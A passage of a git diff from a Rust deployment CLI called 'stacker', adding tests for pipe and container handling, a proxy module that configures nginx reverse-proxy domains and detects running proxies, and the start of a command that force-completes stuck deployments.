Some("abc123")); + } + + #[test] + fn test_mode_prefix_local() { + let ctx = DeploymentContext::Local; + let prefix = mode_prefix(&ctx); + assert!(prefix.contains("[local]")); + assert!(!prefix.is_empty()); + } + + #[test] + fn test_mode_prefix_remote_empty() { + let ctx = DeploymentContext::Remote("hash".to_string()); + let prefix = mode_prefix(&ctx); + assert!(prefix.is_empty()); + } + + #[test] + fn test_apply_field_mapping_supports_nested_paths() { + let mapped = apply_field_mapping( + &json!({ + "contact": { + "email": "person@example.com" + }, + "message": "hello" + }), + &json!({ + "reply_to_email": "$.contact.email", + "body_text": "$.message" + }), + ); + + assert_eq!( + mapped, + json!({ + "reply_to_email": "person@example.com", + "body_text": "hello" + }) + ); + } + + #[test] + fn test_build_local_trigger_payload_applies_smtp_defaults() { + let pipe = sample_local_smtp_pipe(json!({ + "subject": "$.subject" + })); + + let payload = build_local_trigger_payload( + &pipe, + &json!({ + "name": "Alice", + "email": "alice@example.com", + "subject": "Status question", + "message": "Hello from the contact form" + }), + ); + + assert_eq!( + payload, + json!({ + "subject": "Status question", + "from_email": "alice@example.com", + "reply_to_email": "alice@example.com", + "body_text": "Hello from the contact form" + }) + ); + } + + #[test] + fn test_example_local_trigger_command_uses_expected_shape() { + let command = example_local_trigger_command("pipe-123"); + assert!(command.contains("stacker pipe trigger pipe-123 --data")); + assert!(command.contains("\"email\":\"person@example.com\"")); + } + + #[test] + fn test_remap_smtp_target_reference_prefers_published_host_port() { + let pipe = sample_local_smtp_pipe(json!({})); + let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter"); + let remapped = remap_smtp_target_reference_for_container( + adapter, + "smtp", + &sample_smtp_container(Some(11025)), + ) + .expect("smtp target should be remapped"); + let config = remapped.config.expect("smtp config"); + + assert_eq!(config["host"], serde_json::json!("127.0.0.1")); + assert_eq!(config["port"], serde_json::json!(11025)); + } + + #[test] + fn test_remap_smtp_target_reference_accepts_host_published_port_mapping() { + let pipe = sample_local_smtp_pipe(json!({})); + let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter"); + let remapped = remap_smtp_target_reference_for_container( + adapter, + "smtp", + &sample_exim_container(Some(1025)), + ) + .expect("smtp target should use the published host port"); + let config = remapped.config.expect("smtp config"); + + assert_eq!(config["host"], serde_json::json!("127.0.0.1")); + assert_eq!(config["port"], serde_json::json!(1025)); + } + + #[test] + fn test_remap_smtp_target_reference_rejects_unpublished_localhost_target() { + let mut pipe = sample_local_smtp_pipe(json!({})); + if let Some(adapter) = pipe.instance.target_adapter.as_mut() { + if let Some(config) = adapter + .config + .as_mut() + .and_then(|value| value.as_object_mut()) + { + config.insert("host".to_string(), serde_json::json!("localhost")); + } + } + + let adapter = pipe.instance.target_adapter.clone().expect("smtp adapter"); + let error = remap_smtp_target_reference_for_container( + adapter, + "smtp", + &sample_smtp_container(None), + ) + .expect_err("localhost target should require a published port"); + + let message = error.to_string(); + assert!(message.contains("does not publish that port to the host")); + } + + #[test] + fn test_deployment_context_equality() { + assert_eq!(DeploymentContext::Local, DeploymentContext::Local); + assert_eq!( + DeploymentContext::Remote("a".to_string()), + DeploymentContext::Remote("a".to_string()) + ); + assert_ne!( + DeploymentContext::Local, + DeploymentContext::Remote("a".to_string()) + ); + } + + #[test] + fn test_pipe_deploy_command_new() { + let cmd = PipeDeployCommand::new("inst-123".to_string(), "deploy-hash".to_string(), true); + assert_eq!(cmd.instance_id, "inst-123"); + assert_eq!(cmd.deployment_hash, "deploy-hash"); + assert!(cmd.json); + } + + #[test] + fn test_pipe_scan_request_local_filter_from_legacy() { + let request = PipeScanRequest::Legacy { + selector: Some("upload".to_string()), + }; + assert_eq!(request.local_filter().unwrap(), Some("upload")); + } + + #[test] + fn test_pipe_scan_request_local_filter_accepts_legacy_without_selector() { + let request = PipeScanRequest::Legacy { selector: None }; + assert_eq!(request.local_filter().unwrap(), None); + } + + #[test] + fn test_pipe_scan_request_local_filter_from_containers() { + let request = PipeScanRequest::Containers { + filter: Some("upload".to_string()), + }; + assert_eq!(request.local_filter().unwrap(), Some("upload")); + } + + #[test] + fn test_pipe_scan_request_local_filter_rejects_app_mode() { + let request = PipeScanRequest::App { + app: "website".to_string(), + container: None, + }; + assert!(request.local_filter().is_err()); + } + + #[test] + fn test_pipe_scan_request_remote_selector_from_app_mode() { + let request = PipeScanRequest::App { + app: "website".to_string(), + container: Some("website-web-1".to_string()), + }; + assert_eq!( + request.remote_selector().unwrap(), + ("website", Some("website-web-1")) + ); + } + + #[test] + fn test_pipe_scan_request_remote_selector_from_legacy() { + let request = PipeScanRequest::Legacy { + selector: Some("website".to_string()), + }; + assert_eq!(request.remote_selector().unwrap(), ("website", None)); + } + + #[test] + fn test_pipe_scan_request_remote_selector_rejects_legacy_without_selector() { + let request = PipeScanRequest::Legacy { selector: None }; + assert!(request.remote_selector().is_err()); + } + + #[test] + fn test_pipe_scan_request_remote_selector_rejects_containers_mode() { + let request = PipeScanRequest::Containers { filter: None }; + assert!(request.remote_selector().is_err()); + } + + #[test] + fn test_local_http_candidate_urls_include_internal_and_host_ports() { + let container = LocalContainerInfo { + id: "abc".to_string(), + name: "local-device-api-1".to_string(), + image: "example/device-api:local".to_string(), + network: "app-network".to_string(), + addresses: vec!["172.18.0.20".to_string()], + ports: vec![ + LocalPortBinding { + container_port: 5050, + host_port: None, + host_ip: None, + protocol: "tcp".to_string(), + }, + LocalPortBinding { + container_port: 8080, + host_port: Some(18080), + host_ip: Some("::".to_string()), + protocol: "tcp".to_string(), + }, + ], + status: "running".to_string(), + env: std::collections::BTreeMap::new(), + labels: std::collections::BTreeMap::new(), + }; + + let urls = local_http_candidate_urls(&container); + assert!(urls.contains(&"http://172.18.0.20:5050".to_string())); + assert!(urls.contains(&"http://[::1]:18080".to_string())); + } + + #[test] + fn test_parse_local_container_inspect_extracts_ports_and_env() { + let inspect = json!({ + "Id": "abc123", + "Name": "/local-postgres-1", + "Config": { + "Image": "postgres:17-alpine", + "Env": ["POSTGRES_USER=postgres", "POSTGRES_DB=app"], + "Labels": {"com.docker.compose.service": "database"}, + "ExposedPorts": {"5432/tcp": {}} + }, + "State": {"Status": "running"}, + "NetworkSettings": { + "Networks": { + "app-network": { + "IPAddress": "172.18.0.10" + } + }, + "Ports": { + "5432/tcp": null + } + } + }); + + let container = parse_local_container_inspect(&inspect).unwrap(); + assert_eq!(container.name, "local-postgres-1"); + assert_eq!(container.network, "app-network"); + assert_eq!(container.addresses, vec!["172.18.0.10".to_string()]); + assert_eq!( + container.env.get("POSTGRES_USER").map(String::as_str), + Some("postgres") + ); + assert_eq!(container.ports[0].container_port, 5432); + assert_eq!(container.ports[0].host_port, None); + } + + #[test] + fn test_local_resource_probe_plan_detects_common_services() { + let postgres = LocalContainerInfo { + id: "pg".to_string(), + name: "local-postgres-1".to_string(), + image: "postgres:17-alpine".to_string(), + network: "app-network".to_string(), + addresses: vec!["172.18.0.10".to_string()], + ports: vec![LocalPortBinding { + container_port: 5432, + host_port: None, + host_ip: None, + protocol: "tcp".to_string(), + }], + status: "running".to_string(), + env: std::collections::BTreeMap::new(), + labels: std::collections::BTreeMap::new(), + }; + let rabbit = LocalContainerInfo { + id: "rmq".to_string(), + name: "local-rabbitmq-1".to_string(), + image: "rabbitmq:3-management".to_string(), + network: "app-network".to_string(), + addresses: vec!["172.18.0.11".to_string()], + ports: vec![LocalPortBinding { + container_port: 5672, + host_port: None, + host_ip: None, + protocol: "tcp".to_string(), + }], + status: "running".to_string(), + env: std::collections::BTreeMap::new(), + labels: std::collections::BTreeMap::new(), + }; + + let pg_plan = local_resource_probe_plan(&postgres); + let rabbit_plan = local_resource_probe_plan(&rabbit); + + assert!(pg_plan.iter().any(|item| item == "postgres")); + assert!(rabbit_plan.iter().any(|item| item == "rabbitmq")); + } + + #[test] + fn test_build_local_probe_report_emits_progress_for_each_container() { + let containers = vec![ + LocalContainerInfo { + id: "one".to_string(), + name: "local-api-1".to_string(), + image: "example/api:latest".to_string(), + network: "app-network".to_string(), + addresses: vec![], + ports: vec![], + status: "running".to_string(), + env: std::collections::BTreeMap::new(), + labels: std::collections::BTreeMap::new(), + }, + LocalContainerInfo { + id: "two".to_string(), + name: "local-web-1".to_string(), + image: "example/web:latest".to_string(), + network: "app-network".to_string(), + addresses: vec![], + ports: vec![], + status: "running".to_string(), + env: std::collections::BTreeMap::new(), + labels: std::collections::BTreeMap::new(), + }, + ]; + + let mut seen = Vec::new(); + let _ = build_local_probe_report_with_progress( + "local", + &containers, + &[], + false, + |current, total, container| { + seen.push((current, total, container.to_string())); + }, + ); + + assert_eq!( + seen, + vec![ + (1, 2, "local-api-1".to_string()), + (2, 2, "local-web-1".to_string()) + ] + ); + } + + #[test] + fn test_validate_pipe_command_capabilities_accepts_pipes_feature() { + let capabilities = DeploymentCapabilitiesInfo { + deployment_hash: "dep-123".to_string(), + status: "online".to_string(), + capabilities: vec!["docker".to_string(), "pipes".to_string()], + features: crate::cli::stacker_client::DeploymentCapabilityFeatures { + pipes: true, + ..Default::default() + }, + }; + + assert!(validate_pipe_command_capabilities(&capabilities).is_ok()); + } + + #[test] + fn test_validate_pipe_command_capabilities_rejects_missing_pipes_feature() { + let capabilities = DeploymentCapabilitiesInfo { + deployment_hash: "dep-456".to_string(), + status: "online".to_string(), + capabilities: vec![ + "docker".to_string(), + "compose".to_string(), + "logs".to_string(), + ], + features: crate::cli::stacker_client::DeploymentCapabilityFeatures::default(), + }; + + let error = validate_pipe_command_capabilities(&capabilities) + .expect_err("missing pipes capability should be rejected"); + + let message = error.to_string(); + assert!(message.contains("does not support pipe commands")); + assert!(message.contains("dep-456")); + assert!(message.contains("docker, compose, logs")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/proxy.rs b/stacker/stacker/src/console/commands/cli/proxy.rs new file mode 100644 index 0000000..32cdd4c --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/proxy.rs @@ -0,0 +1,685 @@ +use crate::cli::config_parser::{ + CloudOrchestrator, DeployTarget, DomainConfig, ProxyType, SslMode, StackerConfig, +}; +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::proxy_manager::{ + detect_proxy, detect_proxy_from_snapshot, generate_nginx_server_block, ContainerRuntime, + DockerCliRuntime, ProxyDetection, +}; +use crate::cli::runtime::CliRuntime; +use crate::console::commands::cli::agent::AgentConfigureProxyCommand; +use crate::console::commands::CallableTrait; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ProxyProviderKind { + NginxProxyManager, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct ProxyProviderMetadata { + pub kind: ProxyProviderKind, + pub canonical_name: &'static str, + pub service_catalog_name: &'static str, + pub internal_api_url: &'static str, +} + +impl ProxyProviderKind { + pub fn from_alias(alias: &str) -> Option { + match normalize_proxy_provider_alias(alias).as_str() { + "npm" | "nginxproxymanager" => Some(Self::NginxProxyManager), + _ => None, + } + } + + pub fn metadata(self) -> ProxyProviderMetadata { + match self { + Self::NginxProxyManager => ProxyProviderMetadata { + kind: self, + canonical_name: "nginx-proxy-manager", + service_catalog_name: "nginx_proxy_manager", + internal_api_url: "http://nginx-proxy-manager:81", + }, + } + } +} + +fn normalize_proxy_provider_alias(alias: &str) -> String { + alias + .trim() + .to_ascii_lowercase() + .chars() + .filter(|ch| ch.is_ascii_alphanumeric()) + .collect() +} + +/// Parse SSL mode string to `SslMode` enum. +pub fn parse_ssl_mode(s: Option<&str>) -> SslMode { + match s.map(|v| v.to_lowercase()).as_deref() { + Some("auto") | Some("true") | Some("yes") | Some("on") | Some("1") => SslMode::Auto, + Some("manual") => SslMode::Manual, + Some("off") | Some("false") | Some("no") | Some("0") => SslMode::Off, + _ => SslMode::Off, + } +} + +/// Build a `DomainConfig` from CLI arguments. +pub fn build_domain_config( + domain: &str, + upstream: Option<&str>, + ssl: Option<&str>, +) -> DomainConfig { + DomainConfig { + domain: domain.to_string(), + ssl: parse_ssl_mode(ssl), + upstream: upstream.unwrap_or("http://app:8080").to_string(), + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct ProxyConfigPersistence { + config_path: PathBuf, + backup_path: PathBuf, + changed: bool, +} + +fn upsert_proxy_domain_config( + config: &mut StackerConfig, + proxy_type: ProxyType, + domain_config: DomainConfig, +) -> bool { + let mut changed = false; + + if config.proxy.proxy_type != proxy_type { + config.proxy.proxy_type = proxy_type; + changed = true; + } + + if let Some(existing) = config + .proxy + .domains + .iter_mut() + .find(|entry| entry.domain.eq_ignore_ascii_case(&domain_config.domain)) + { + if existing.ssl != domain_config.ssl || existing.upstream != domain_config.upstream { + existing.ssl = domain_config.ssl; + existing.upstream = domain_config.upstream; + changed = true; + } + return changed; + } + + config.proxy.domains.push(domain_config); + true +} + +fn persist_proxy_config_to_stacker_yml( + project_dir: &Path, + proxy_type: ProxyType, + domain_config: DomainConfig, +) -> Result, CliError> { + let config_path = project_dir.join("stacker.yml"); + if !config_path.exists() { + return Ok(None); + } + + let mut config = StackerConfig::from_file_raw(&config_path)?; + let changed = upsert_proxy_domain_config(&mut config, proxy_type, domain_config); + let backup_path = PathBuf::from(format!("{}.bak", config_path.display())); + + if !changed { + return Ok(Some(ProxyConfigPersistence { + config_path, + backup_path, + changed, + })); + } + + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::copy(&config_path, &backup_path)?; + std::fs::write(&config_path, yaml)?; + + Ok(Some(ProxyConfigPersistence { + config_path, + backup_path, + changed, + })) +} + +fn print_proxy_config_persistence(result: Option<&ProxyConfigPersistence>) { + let Some(result) = result else { + eprintln!("⚠ No stacker.yml found; proxy config was not persisted locally."); + return; + }; + + if result.changed { + eprintln!("✓ Updated proxy config in {}", result.config_path.display()); + eprintln!(" Backup written to {}", result.backup_path.display()); + } else { + eprintln!( + "✓ Proxy config already up to date in {}", + result.config_path.display() + ); + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ProxyUpstreamTarget { + pub app_code: String, + pub port: u16, +} + +pub fn parse_proxy_upstream(upstream: &str) -> Result { + let upstream = upstream + .strip_prefix("http://") + .or_else(|| upstream.strip_prefix("https://")) + .unwrap_or(upstream); + + if upstream.contains('/') { + return Err(CliError::ConfigValidation(format!( + "Invalid upstream '{}': paths are not supported; use host:port", + upstream + ))); + } + + let (host, port) = upstream.rsplit_once(':').ok_or_else(|| { + CliError::ConfigValidation(format!( + "Invalid upstream '{}': must match [http://]host:port format", + upstream + )) + })?; + + if host.trim().is_empty() { + return Err(CliError::ConfigValidation(format!( + "Invalid upstream '{}': host is required", + upstream + ))); + } + + let port = port.parse::().map_err(|_| { + CliError::ConfigValidation(format!( + "Invalid upstream '{}': port must be between 1 and 65535", + upstream + )) + })?; + + if port == 0 { + return Err(CliError::ConfigValidation(format!( + "Invalid upstream '{}': port must be between 1 and 65535", + upstream + ))); + } + + Ok(ProxyUpstreamTarget { + app_code: host.to_string(), + port, + }) +} + +/// Run proxy detection using a `ContainerRuntime` (DIP). +pub fn run_detect(runtime: &dyn ContainerRuntime) -> Result { + detect_proxy(runtime) +} + +/// `stacker proxy add [--upstream ] [--ssl[=auto|manual|off]]` +/// +/// Adds a reverse-proxy entry for the given domain. +pub struct ProxyAddCommand { + pub domain: String, + pub upstream: Option, + pub ssl: Option, + pub force: bool, + pub json: bool, + pub deployment: Option, +} + +impl ProxyAddCommand { + pub fn new( + domain: String, + upstream: Option, + ssl: Option, + force: bool, + json: bool, + deployment: Option, + ) -> Self { + Self { + domain, + upstream, + ssl, + force, + json, + deployment, + } + } +} + +impl CallableTrait for ProxyAddCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let domain_config = + build_domain_config(&self.domain, self.upstream.as_deref(), self.ssl.as_deref()); + let use_agent = self.deployment.is_some() || is_cloud_or_remote(&project_dir); + if use_agent { + let upstream = self.upstream.as_deref().unwrap_or("app:8080"); + let target = parse_proxy_upstream(upstream)?; + let ssl_enabled = parse_ssl_mode(self.ssl.as_deref()) != SslMode::Off; + let command = AgentConfigureProxyCommand::new( + target.app_code, + self.domain.clone(), + target.port, + ssl_enabled, + !ssl_enabled, + "create".to_string(), + self.force, + self.json, + self.deployment.clone(), + ); + command.call()?; + let persistence = persist_proxy_config_to_stacker_yml( + &project_dir, + ProxyType::NginxProxyManager, + domain_config, + )?; + if !self.json { + print_proxy_config_persistence(persistence.as_ref()); + } + return Ok(()); + } + + let block = generate_nginx_server_block(&domain_config)?; + let persistence = + persist_proxy_config_to_stacker_yml(&project_dir, ProxyType::Nginx, domain_config)?; + println!("{}", block); + if !self.json { + print_proxy_config_persistence(persistence.as_ref()); + } + eprintln!( + "✓ Proxy config generated for {}; apply this nginx snippet to configure a local proxy", + self.domain + ); + Ok(()) + } +} + +/// `stacker proxy detect [--json] [--deployment ]` +/// +/// Scans running containers for an existing reverse-proxy (nginx, traefik, etc.) +/// and reports what was found. +/// +/// - **Local deployments**: runs `docker ps` locally. +/// - **Cloud/remote deployments**: queries the Status Panel agent snapshot. +pub struct ProxyDetectCommand { + pub json: bool, + pub deployment: Option, +} + +impl ProxyDetectCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +/// Check whether the current project is configured for cloud/remote deployment. +fn is_cloud_or_remote(project_dir: &std::path::Path) -> bool { + // 1. Check deployment lock + if let Ok(Some(lock)) = DeploymentLock::load(project_dir) { + if lock.target == "cloud" || lock.target == "server" { + return true; + } + } + + // 2. Check stacker.yml + let config_path = project_dir.join("stacker.yml"); + if let Ok(config) = StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if config.deploy.target == DeployTarget::Cloud { + return true; + } + if config.deploy.target == DeployTarget::Server { + return true; + } + if let Some(cloud_cfg) = &config.deploy.cloud { + if cloud_cfg.orchestrator == CloudOrchestrator::Remote { + return true; + } + } + } + + false +} + +/// Resolve deployment hash for proxy detection (minimal version). +fn resolve_deployment_hash_for_proxy( + explicit: &Option, + ctx: &CliRuntime, +) -> Result { + if let Some(hash) = explicit { + if !hash.is_empty() { + return Ok(hash.clone()); + } + } + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + if let Some(lock) = DeploymentLock::load(&project_dir)? { + if let Some(dep_id) = lock.deployment_id { + let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?; + if let Some(info) = info { + return Ok(info.deployment_hash); + } + } + } + + let config_path = project_dir.join("stacker.yml"); + if config_path.exists() { + if let Ok(config) = StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if let Some(ref project_name) = config.project.identity { + let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?; + if let Some(proj) = project { + let dep = ctx.block_on(ctx.client.get_deployment_status_by_project(proj.id))?; + if let Some(dep) = dep { + return Ok(dep.deployment_hash); + } + } + } + } + } + + Err(CliError::ConfigValidation( + "Cannot determine deployment hash for remote proxy detection.\n\ + Use --deployment , or run from a directory with a deployment lock or stacker.yml." + .to_string(), + )) +} + +/// Pretty-print a proxy detection result. +fn print_detection(detection: &ProxyDetection, json: bool) { + if json { + let val = serde_json::json!({ + "proxy_type": format!("{:?}", detection.proxy_type), + "container_name": detection.container_name, + "ports": detection.ports, + }); + println!("{}", serde_json::to_string_pretty(&val).unwrap_or_default()); + return; + } + + eprintln!("Detected proxy: {:?}", detection.proxy_type); + if let Some(name) = &detection.container_name { + eprintln!(" Container: {}", name); + } + if !detection.ports.is_empty() { + eprintln!(" Ports: {:?}", detection.ports); + } +} + +impl CallableTrait for ProxyDetectCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + + // If an explicit --deployment flag was given, or the project is + // deployed to cloud/server, use the agent snapshot for detection. + let use_remote = self.deployment.is_some() || is_cloud_or_remote(&project_dir); + + if use_remote { + let ctx = CliRuntime::new("proxy detect")?; + let hash = resolve_deployment_hash_for_proxy(&self.deployment, &ctx)?; + + let snapshot = ctx.block_on(ctx.client.agent_snapshot(&hash))?; + let detection = detect_proxy_from_snapshot(&snapshot); + print_detection(&detection, self.json); + } else { + let runtime = DockerCliRuntime; + let detection = run_detect(&runtime)?; + print_detection(&detection, self.json); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{ConfigBuilder, ProxyConfig}; + use crate::cli::proxy_manager::ContainerInfo; + + struct MockRuntime { + containers: Vec, + } + + impl ContainerRuntime for MockRuntime { + fn list_containers(&self) -> Result, CliError> { + Ok(self.containers.clone()) + } + fn is_available(&self) -> bool { + true + } + } + + #[test] + fn proxy_provider_aliases_resolve_to_nginx_proxy_manager() { + for alias in [ + "npm", + "nginx-proxy-manager", + "nginx_proxy_manager", + "Nginx Proxy Manager", + ] { + assert_eq!( + ProxyProviderKind::from_alias(alias), + Some(ProxyProviderKind::NginxProxyManager) + ); + } + assert_eq!(ProxyProviderKind::from_alias("traefik"), None); + } + + #[test] + fn nginx_proxy_manager_metadata_uses_stack_service_defaults() { + let metadata = ProxyProviderKind::NginxProxyManager.metadata(); + + assert_eq!(metadata.service_catalog_name, "nginx_proxy_manager"); + assert_eq!(metadata.internal_api_url, "http://nginx-proxy-manager:81"); + assert_eq!(metadata.canonical_name, "nginx-proxy-manager"); + } + + #[test] + fn test_parse_ssl_mode_auto() { + assert_eq!(parse_ssl_mode(Some("auto")), SslMode::Auto); + assert_eq!(parse_ssl_mode(Some("AUTO")), SslMode::Auto); + assert_eq!(parse_ssl_mode(Some("true")), SslMode::Auto); + } + + #[test] + fn test_parse_ssl_mode_defaults_to_off() { + assert_eq!(parse_ssl_mode(None), SslMode::Off); + assert_eq!(parse_ssl_mode(Some("unknown")), SslMode::Off); + assert_eq!(parse_ssl_mode(Some("false")), SslMode::Off); + } + + #[test] + fn test_build_domain_config_with_defaults() { + let cfg = build_domain_config("example.com", None, None); + assert_eq!(cfg.domain, "example.com"); + assert_eq!(cfg.upstream, "http://app:8080"); + assert_eq!(cfg.ssl, SslMode::Off); + } + + #[test] + fn test_build_domain_config_with_overrides() { + let cfg = build_domain_config("app.io", Some("http://web:3000"), Some("auto")); + assert_eq!(cfg.upstream, "http://web:3000"); + assert_eq!(cfg.ssl, SslMode::Auto); + } + + #[test] + fn upsert_proxy_domain_config_sets_type_and_adds_domain() { + let mut config = ConfigBuilder::new().name("demo").build().unwrap(); + let changed = upsert_proxy_domain_config( + &mut config, + ProxyType::NginxProxyManager, + build_domain_config("example.com", Some("app:3000"), Some("auto")), + ); + + assert!(changed); + assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(config.proxy.domains.len(), 1); + assert_eq!(config.proxy.domains[0].domain, "example.com"); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + assert_eq!(config.proxy.domains[0].upstream, "app:3000"); + } + + #[test] + fn upsert_proxy_domain_config_updates_existing_domain_without_duplicate() { + let mut config = ConfigBuilder::new() + .name("demo") + .proxy(ProxyConfig { + proxy_type: ProxyType::None, + auto_detect: false, + domains: vec![build_domain_config( + "Example.com", + Some("app:3000"), + Some("off"), + )], + config: None, + }) + .build() + .unwrap(); + + let changed = upsert_proxy_domain_config( + &mut config, + ProxyType::NginxProxyManager, + build_domain_config("example.com", Some("web:8080"), Some("auto")), + ); + + assert!(changed); + assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(config.proxy.domains.len(), 1); + assert_eq!(config.proxy.domains[0].domain, "Example.com"); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + assert_eq!(config.proxy.domains[0].upstream, "web:8080"); + } + + #[test] + fn persist_proxy_config_to_stacker_yml_writes_backup_and_preserves_env_placeholders() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + "name: demo\napp:\n type: node\n image: ${APP_IMAGE}\nproxy:\n type: none\n domains: []\n", + ) + .unwrap(); + + let result = persist_proxy_config_to_stacker_yml( + dir.path(), + ProxyType::NginxProxyManager, + build_domain_config( + "status.example.com", + Some("status-panel-web:3000"), + Some("auto"), + ), + ) + .unwrap() + .expect("stacker.yml exists"); + + assert!(result.changed); + assert!(result.backup_path.exists()); + + let written = std::fs::read_to_string(&config_path).unwrap(); + assert!(written.contains("${APP_IMAGE}")); + + let config = StackerConfig::from_file_raw(&config_path).unwrap(); + assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(config.proxy.domains.len(), 1); + assert_eq!(config.proxy.domains[0].domain, "status.example.com"); + assert_eq!(config.proxy.domains[0].upstream, "status-panel-web:3000"); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + } + + #[test] + fn given_stacker_proxy_add_when_config_is_persisted_then_stacker_yml_reflects_proxy_state() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + r#" +name: web +services: + - name: status-panel-web + image: trydirect/status-panel-web:0.1.0 +proxy: + type: none + auto_detect: false + domains: [] +"#, + ) + .unwrap(); + + let result = persist_proxy_config_to_stacker_yml( + dir.path(), + ProxyType::NginxProxyManager, + build_domain_config( + "status.stacker.my", + Some("status-panel-web:3000"), + Some("auto"), + ), + ) + .unwrap() + .expect("stacker.yml exists"); + + assert!(result.changed); + assert!(result.backup_path.exists()); + + let config = StackerConfig::from_file_raw(&config_path).unwrap(); + assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(config.proxy.domains.len(), 1); + assert_eq!(config.proxy.domains[0].domain, "status.stacker.my"); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + assert_eq!(config.proxy.domains[0].upstream, "status-panel-web:3000"); + assert!(config + .services + .iter() + .all(|service| service.name != "nginx_proxy_manager")); + } + + #[test] + fn test_parse_proxy_upstream_strips_scheme() { + let target = parse_proxy_upstream("http://coolify:80").unwrap(); + assert_eq!(target.app_code, "coolify"); + assert_eq!(target.port, 80); + } + + #[test] + fn test_parse_proxy_upstream_rejects_paths() { + let err = parse_proxy_upstream("http://coolify:80/admin").unwrap_err(); + assert!(err.to_string().contains("paths are not supported")); + } + + #[test] + fn test_detect_returns_none_for_empty_containers() { + let runtime = MockRuntime { containers: vec![] }; + let result = run_detect(&runtime).unwrap(); + assert_eq!(result.proxy_type, ProxyType::None); + } + + #[test] + fn test_detect_finds_nginx_proxy() { + let runtime = MockRuntime { + containers: vec![ContainerInfo { + id: "abc123".to_string(), + name: "nginx-1".to_string(), + image: "nginx:latest".to_string(), + ports: vec![80, 443], + status: "running".to_string(), + }], + }; + let result = run_detect(&runtime).unwrap(); + assert_eq!(result.proxy_type, ProxyType::Nginx); + } +} diff --git a/stacker/stacker/src/console/commands/cli/resolve.rs b/stacker/stacker/src/console/commands/cli/resolve.rs new file mode 100644 index 0000000..58b6d9c --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/resolve.rs @@ -0,0 +1,127 @@ +use crate::cli::config_parser::{DeployTarget, StackerConfig}; +use crate::cli::error::CliError; +use crate::cli::runtime::CliRuntime; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker resolve [-y] [--force] [--deployment=]` +/// +/// Force-complete a stuck deployment (paused or error → completed). +/// Use `--force` to also override `in_progress` deployments. +/// Use `--deployment=` to target a specific deployment; defaults to the latest. +pub struct ResolveCommand { + pub confirm: bool, + pub force: bool, + pub deployment: Option, +} + +impl ResolveCommand { + pub fn new(confirm: bool, force: bool, deployment: Option) -> Self { + Self { + confirm, + force, + deployment, + } + } +} + +impl CallableTrait for ResolveCommand { + fn call(&self) -> Result<(), Box> { + if !self.confirm { + return Err(Box::new(CliError::ConfigValidation( + "Resolve requires --confirm (-y) flag. This will mark a paused/error \ + deployment as completed." + .to_string(), + ))); + } + + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + + let project_name = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + + let ctx = CliRuntime::new("resolve").map_err(|e| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: e.to_string(), + })?; + + let deployment = self.deployment.clone(); + let force = self.force; + + ctx.block_on(async { + // Resolve the target deployment — by hash or by latest in project + let info = if let Some(ref hash) = deployment { + ctx.client + .get_deployment_by_hash(hash) + .await? + .ok_or_else(|| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Deployment '{}' not found.", hash), + })? + } else { + // Find project first, then get its latest deployment + let project = ctx.client.find_project_by_name(&project_name).await?; + let project = project.ok_or_else(|| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Project '{}' not found on server.", project_name), + })?; + + ctx.client + .get_deployment_status_by_project(project.id) + .await? + .ok_or_else(|| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("No deployments found for project '{}'.", project_name), + })? + }; + + let allowed = ["paused", "error"]; + if !force && !allowed.contains(&info.status.as_str()) { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Deployment #{} has status '{}'. Only paused or error deployments can be resolved. Use --force to override.", + info.id, info.status + ), + }); + } + + eprintln!( + "Resolving deployment #{} [{}] (status: '{}'){}...", + info.id, + 